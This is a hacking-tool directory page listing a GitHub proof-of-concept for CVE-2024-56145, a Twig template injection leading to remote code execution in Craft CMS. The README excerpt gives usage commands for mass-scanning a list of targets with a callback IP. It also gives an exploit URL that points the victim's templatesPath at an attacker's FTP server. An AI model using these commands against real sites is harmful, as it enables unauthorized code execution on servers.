Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2024-56145-craftcms-rce — CVE-2024-56145 SSTI to RCE - twig templates | Kitploit
Tools/GitHubGitHub/sachinart/cve-2024-56145-craftcms-rce
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubsachinart/cve-2024-56145-craftcms-rce

CVE-2024-56145-craftcms-rce

CVE-2024-56145 SSTI to RCE - twig templates

View Repository

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
431 year agoNot yet reviewed
Share

Before you run script again do

fuser -k 6666/tcp

Usage -

python3 poc.py -f targets.txt -i 127.0.0.1 -pr 4 -t 200

Custom command can be used like python3 poc.py -f targets.txt -i 127.0.0.1 -c "whoami"

-i is your IP or your vps IP (use that by doing ipconfig / ifconfig.

Like - python3 poc.py -f targets.txt -i 165.22.104.140 -pr 4 -t 200

Manual exploit , run above poc.py against targets you have, you will see output file with vuln targets

Now what? you have vuln target but wanted to play more? So I have added poc2.py this is for manual test against the target, how to do that? do

fuser -k 6666/tcp
root@kitploit:~
1. Run poc2.py (port 6666 started as FTP).
2. Open the browser yourtarget.com/?--templatesPath=ftp://VPS-IP:6666/
3. you will see -

image

Written By Chirag Artani (https://x.com/Chirag99Artani)

Download Tool